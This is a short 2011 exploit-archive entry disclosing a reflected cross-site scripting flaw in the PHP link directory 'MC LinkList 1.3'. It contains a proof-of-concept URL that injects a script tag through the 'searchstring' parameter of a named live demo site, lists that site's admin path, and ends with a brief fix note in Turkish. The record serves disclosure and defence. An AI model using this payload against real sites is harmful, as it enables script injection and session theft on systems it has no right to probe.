Home / exploits

PDF

MC LinkList 1.3 Cross Site Scripting

Posted on 03 August 2011

#######################################################################
[#] Exploit Title: NC LinkList Version 1.3 ~ XSS Vulnerability

[#] Author: Err0r

[#] Date: 01.08.2011

[#] E-mail: err0riletisim@gmail.com

[#] Category: Web App.

[#] Note : Warning.

[#] DEMO:
http://www.php-linkverzeichnis.de/demo/index.php?action=show&view=search

[#] Price : ab 49,00

[#] Vuln Type: Reflected XSS

[!] Fix : GET  ile " searchstring " Deðiþkenine atanan deðer veya text
Filtreden geçirildikten sonra ekrana yazýlmalý / aktarýlmalý . .

#######################################################################

[*] ## Exploit ##:

#
http://www.php-linkverzeichnis.de/demo/index.php?action=show&view=search&searchstring="><script>alert(document.domain)</script
>

#  http://php-linkverzeichnis.de/demo/admin/

#######################################################################

 

TOP